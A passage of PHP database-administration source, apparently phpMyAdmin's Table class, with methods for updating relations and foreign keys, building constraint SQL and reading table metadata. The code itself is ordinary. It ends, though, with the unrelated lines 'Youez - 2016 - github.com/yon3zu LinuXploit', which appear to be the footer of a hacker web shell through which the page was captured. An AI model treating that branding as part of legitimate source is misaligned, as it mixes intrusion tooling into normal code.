            $masterField = $multiEditColumnsName[$masterFieldMd5];
            $foreignTable = $destinationTable[$masterFieldMd5];
            $foreignField = $destinationColumn[$masterFieldMd5];
            if (! empty($foreignDb) && ! empty($foreignTable) && ! empty($foreignField)) {
                if (! isset($existrel[$masterField])) {
                    $updQuery = 'INSERT INTO '
                        . Util::backquote($relationFeature->database)
                        . '.' . Util::backquote($relationFeature->relation)
                        . '(master_db, master_table, master_field, foreign_db,'
                        . ' foreign_table, foreign_field)'
                        . ' values('
                        . '\'' . $this->dbi->escapeString($this->dbName) . '\', '
                        . '\'' . $this->dbi->escapeString($this->name) . '\', '
                        . '\'' . $this->dbi->escapeString($masterField) . '\', '
                        . '\'' . $this->dbi->escapeString($foreignDb) . '\', '
                        . '\'' . $this->dbi->escapeString($foreignTable) . '\','
                        . '\'' . $this->dbi->escapeString($foreignField) . '\')';
                } elseif (
                    $existrel[$masterField]['foreign_db'] != $foreignDb
                    || $existrel[$masterField]['foreign_table'] != $foreignTable
                    || $existrel[$masterField]['foreign_field'] != $foreignField
                ) {
                    $updQuery = 'UPDATE '
                        . Util::backquote($relationFeature->database)
                        . '.' . Util::backquote($relationFeature->relation)
                        . ' SET foreign_db       = \''
                        . $this->dbi->escapeString($foreignDb) . '\', '
                        . ' foreign_table    = \''
                        . $this->dbi->escapeString($foreignTable) . '\', '
                        . ' foreign_field    = \''
                        . $this->dbi->escapeString($foreignField) . '\' '
                        . ' WHERE master_db  = \''
                        . $this->dbi->escapeString($this->dbName) . '\''
                        . ' AND master_table = \''
                        . $this->dbi->escapeString($this->name) . '\''
                        . ' AND master_field = \''
                        . $this->dbi->escapeString($masterField) . '\'';
                }
            } elseif (isset($existrel[$masterField])) {
                $updQuery = 'DELETE FROM '
                    . Util::backquote($relationFeature->database)
                    . '.' . Util::backquote($relationFeature->relation)
                    . ' WHERE master_db  = \''
                    . $this->dbi->escapeString($this->dbName) . '\''
                    . ' AND master_table = \''
                    . $this->dbi->escapeString($this->name) . '\''
                    . ' AND master_field = \''
                    . $this->dbi->escapeString($masterField) . '\'';
            }

            if (! isset($updQuery)) {
                continue;
            }

            $this->dbi->queryAsControlUser($updQuery);
            $updated = true;
        }

        return $updated;
    }

    /**
     * Function to handle foreign key updates
     *
     * @param array  $destinationForeignDb     destination foreign database
     * @param array  $multiEditColumnsName     multi edit column names
     * @param array  $destinationForeignTable  destination foreign table
     * @param array  $destinationForeignColumn destination foreign column
     * @param array  $optionsArray             options array
     * @param string $table                    current table
     * @param array  $existrelForeign          db, table, column
     *
     * @return array
     */
    public function updateForeignKeys(
        array $destinationForeignDb,
        array $multiEditColumnsName,
        array $destinationForeignTable,
        array $destinationForeignColumn,
        array $optionsArray,
        $table,
        array $existrelForeign
    ) {
        $htmlOutput = '';
        $previewSqlData = '';
        $displayQuery = '';
        $seenError = false;

        foreach ($destinationForeignDb as $masterFieldMd5 => $foreignDb) {
            $create = false;
            $drop = false;

            // Map the fieldname's md5 back to its real name
            $masterField = $multiEditColumnsName[$masterFieldMd5];

            $foreignTable = $destinationForeignTable[$masterFieldMd5];
            $foreignField = $destinationForeignColumn[$masterFieldMd5];

            if (isset($existrelForeign[$masterFieldMd5]['ref_db_name'])) {
                $refDbName = $existrelForeign[$masterFieldMd5]['ref_db_name'];
            } else {
                $refDbName = $GLOBALS['db'];
            }

            $emptyFields = false;
            foreach ($masterField as $key => $oneField) {
                if (
                    (! empty($oneField) && empty($foreignField[$key]))
                    || (empty($oneField) && ! empty($foreignField[$key]))
                ) {
                    $emptyFields = true;
                }

                if (! empty($oneField) || ! empty($foreignField[$key])) {
                    continue;
                }

                unset($masterField[$key], $foreignField[$key]);
            }

            if (! empty($foreignDb) && ! empty($foreignTable) && ! $emptyFields) {
                if (isset($existrelForeign[$masterFieldMd5])) {
                    $constraintName = $existrelForeign[$masterFieldMd5]['constraint'];
                    $onDelete = ! empty(
                        $existrelForeign[$masterFieldMd5]['on_delete']
                    )
                        ? $existrelForeign[$masterFieldMd5]['on_delete']
                        : 'RESTRICT';
                    $onUpdate = ! empty(
                        $existrelForeign[$masterFieldMd5]['on_update']
                    )
                        ? $existrelForeign[$masterFieldMd5]['on_update']
                        : 'RESTRICT';

                    if (
                        $refDbName != $foreignDb
                        || $existrelForeign[$masterFieldMd5]['ref_table_name'] != $foreignTable
                        || $existrelForeign[$masterFieldMd5]['ref_index_list'] != $foreignField
                        || $existrelForeign[$masterFieldMd5]['index_list'] != $masterField
                        || $_POST['constraint_name'][$masterFieldMd5] != $constraintName
                        || ($_POST['on_delete'][$masterFieldMd5] != $onDelete)
                        || ($_POST['on_update'][$masterFieldMd5] != $onUpdate)
                    ) {
                        // another foreign key is already defined for this field
                        // or an option has been changed for ON DELETE or ON UPDATE
                        $drop = true;
                        $create = true;
                    }
                } else {
                    // no key defined for this field(s)
                    $create = true;
                }
            } elseif (isset($existrelForeign[$masterFieldMd5])) {
                $drop = true;
            }

            if ($drop) {
                $dropQuery = 'ALTER TABLE ' . Util::backquote($table)
                    . ' DROP FOREIGN KEY '
                    . Util::backquote($existrelForeign[$masterFieldMd5]['constraint'])
                    . ';';

                if (! isset($_POST['preview_sql'])) {
                    $displayQuery .= $dropQuery . "\n";
                    $this->dbi->tryQuery($dropQuery);
                    $tmpErrorDrop = $this->dbi->getError();

                    if ($tmpErrorDrop !== '') {
                        $seenError = true;
                        $htmlOutput .= Generator::mysqlDie($tmpErrorDrop, $dropQuery, false, '', false);
                        continue;
                    }
                } else {
                    $previewSqlData .= $dropQuery . "\n";
                }
            }

            $tmpErrorCreate = false;
            if (! $create) {
                continue;
            }

            $createQuery = $this->getSQLToCreateForeignKey(
                $table,
                $masterField,
                $foreignDb,
                $foreignTable,
                $foreignField,
                $_POST['constraint_name'][$masterFieldMd5],
                $optionsArray[$_POST['on_delete'][$masterFieldMd5]],
                $optionsArray[$_POST['on_update'][$masterFieldMd5]]
            );

            if (! isset($_POST['preview_sql'])) {
                $displayQuery .= $createQuery . "\n";
                $this->dbi->tryQuery($createQuery);
                $tmpErrorCreate = $this->dbi->getError();
                if (! empty($tmpErrorCreate)) {
                    $seenError = true;

                    if (substr($tmpErrorCreate, 1, 4) == '1005') {
                        $message = Message::error(
                            __(
                                'Error creating foreign key on %1$s (check data types)'
                            )
                        );
                        $message->addParam(implode(', ', $masterField));
                        $htmlOutput .= $message->getDisplay();
                    } else {
                        $htmlOutput .= Generator::mysqlDie($tmpErrorCreate, $createQuery, false, '', false);
                    }

                    $htmlOutput .= MySQLDocumentation::show('create-table-foreign-keys') . "\n";
                }
            } else {
                $previewSqlData .= $createQuery . "\n";
            }

            // this is an alteration and the old constraint has been dropped
            // without creation of a new one
            if (! $drop || empty($tmpErrorCreate)) {
                continue;
            }

            // a rollback may be better here
            $sqlQueryRecreate = '# Restoring the dropped constraint...' . "\n";
            $sqlQueryRecreate .= $this->getSQLToCreateForeignKey(
                $table,
                $masterField,
                $existrelForeign[$masterFieldMd5]['ref_db_name'],
                $existrelForeign[$masterFieldMd5]['ref_table_name'],
                $existrelForeign[$masterFieldMd5]['ref_index_list'],
                $existrelForeign[$masterFieldMd5]['constraint'],
                $optionsArray[$existrelForeign[$masterFieldMd5]['on_delete'] ?? ''] ?? null,
                $optionsArray[$existrelForeign[$masterFieldMd5]['on_update'] ?? ''] ?? null
            );
            if (! isset($_POST['preview_sql'])) {
                $displayQuery .= $sqlQueryRecreate . "\n";
                $this->dbi->tryQuery($sqlQueryRecreate);
            } else {
                $previewSqlData .= $sqlQueryRecreate;
            }
        }

        return [
            $htmlOutput,
            $previewSqlData,
            $displayQuery,
            $seenError,
        ];
    }

    /**
     * Returns the SQL query for foreign key constraint creation
     *
     * @param string $table        table name
     * @param array  $field        field names
     * @param string $foreignDb    foreign database name
     * @param string $foreignTable foreign table name
     * @param array  $foreignField foreign field names
     * @param string $name         name of the constraint
     * @param string $onDelete     on delete action
     * @param string $onUpdate     on update action
     *
     * @return string SQL query for foreign key constraint creation
     */
    private function getSQLToCreateForeignKey(
        $table,
        array $field,
        $foreignDb,
        $foreignTable,
        array $foreignField,
        $name = null,
        $onDelete = null,
        $onUpdate = null
    ) {
        $sqlQuery = 'ALTER TABLE ' . Util::backquote($table) . ' ADD ';
        // if user entered a constraint name
        if (! empty($name)) {
            $sqlQuery .= ' CONSTRAINT ' . Util::backquote($name);
        }

        foreach ($field as $key => $oneField) {
            $field[$key] = Util::backquote($oneField);
        }

        foreach ($foreignField as $key => $oneField) {
            $foreignField[$key] = Util::backquote($oneField);
        }

        $sqlQuery .= ' FOREIGN KEY (' . implode(', ', $field) . ') REFERENCES '
            . ($this->dbName != $foreignDb
                ? Util::backquote($foreignDb) . '.' : '')
            . Util::backquote($foreignTable)
            . '(' . implode(', ', $foreignField) . ')';

        if (! empty($onDelete)) {
            $sqlQuery .= ' ON DELETE ' . $onDelete;
        }

        if (! empty($onUpdate)) {
            $sqlQuery .= ' ON UPDATE ' . $onUpdate;
        }

        $sqlQuery .= ';';

        return $sqlQuery;
    }

    /**
     * Returns the generation expression for virtual columns
     *
     * @param string $column name of the column
     *
     * @return array|bool associative array of column name and their expressions
     * or false on failure
     */
    public function getColumnGenerationExpression($column = null)
    {
        if (
            Compatibility::isMySqlOrPerconaDb()
            && $this->dbi->getVersion() > 50705
            && ! $GLOBALS['cfg']['Server']['DisableIS']
        ) {
            $sql = "SELECT
                `COLUMN_NAME` AS `Field`,
                `GENERATION_EXPRESSION` AS `Expression`
                FROM
                `information_schema`.`COLUMNS`
                WHERE
                `TABLE_SCHEMA` = '" . $this->dbi->escapeString($this->dbName) . "'
                AND `TABLE_NAME` = '" . $this->dbi->escapeString($this->name) . "'";
            if ($column != null) {
                $sql .= " AND  `COLUMN_NAME` = '" . $this->dbi->escapeString($column)
                    . "'";
            }

            return $this->dbi->fetchResult($sql, 'Field', 'Expression');
        }

        $createTable = $this->showCreate();
        if (! $createTable) {
            return false;
        }

        $parser = new Parser($createTable);
        $stmt = $parser->statements[0];
        $fields = [];
        if ($stmt instanceof CreateStatement) {
            $fields = TableUtils::getFields($stmt);
        }

        if ($column != null) {
            $expression = isset($fields[$column]['expr']) ?
                substr($fields[$column]['expr'], 1, -1) : '';

            return [$column => $expression];
        }

        $ret = [];
        foreach ($fields as $field => $options) {
            if (! isset($options['expr'])) {
                continue;
            }

            $ret[$field] = substr($options['expr'], 1, -1);
        }

        return $ret;
    }

    /**
     * Returns the CREATE statement for this table
     *
     * @return mixed
     */
    public function showCreate()
    {
        return $this->dbi->fetchValue(
            'SHOW CREATE TABLE ' . Util::backquote($this->dbName) . '.'
            . Util::backquote($this->name),
            1
        );
    }

    /**
     * Returns the real row count for a table
     */
    public function getRealRowCountTable(): ?int
    {
        // SQL query to get row count for a table.
        $result = $this->dbi->fetchSingleRow(
            sprintf(
                'SELECT COUNT(*) AS %s FROM %s.%s',
                Util::backquote('row_count'),
                Util::backquote($this->dbName),
                Util::backquote($this->name)
            )
        );

        if (! is_array($result)) {
            return null;
        }

        return (int) $result['row_count'];
    }

    /**
     * Get columns with indexes
     *
     * @param int $types types bitmask
     *
     * @return array an array of columns
     */
    public function getColumnsWithIndex($types)
    {
        $columnsWithIndex = [];
        foreach (
            Index::getFromTableByChoice($this->name, $this->dbName, $types) as $index
        ) {
            $columns = $index->getColumns();
            $columnsWithIndex = array_merge($columnsWithIndex, array_keys($columns));
        }

        return $columnsWithIndex;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit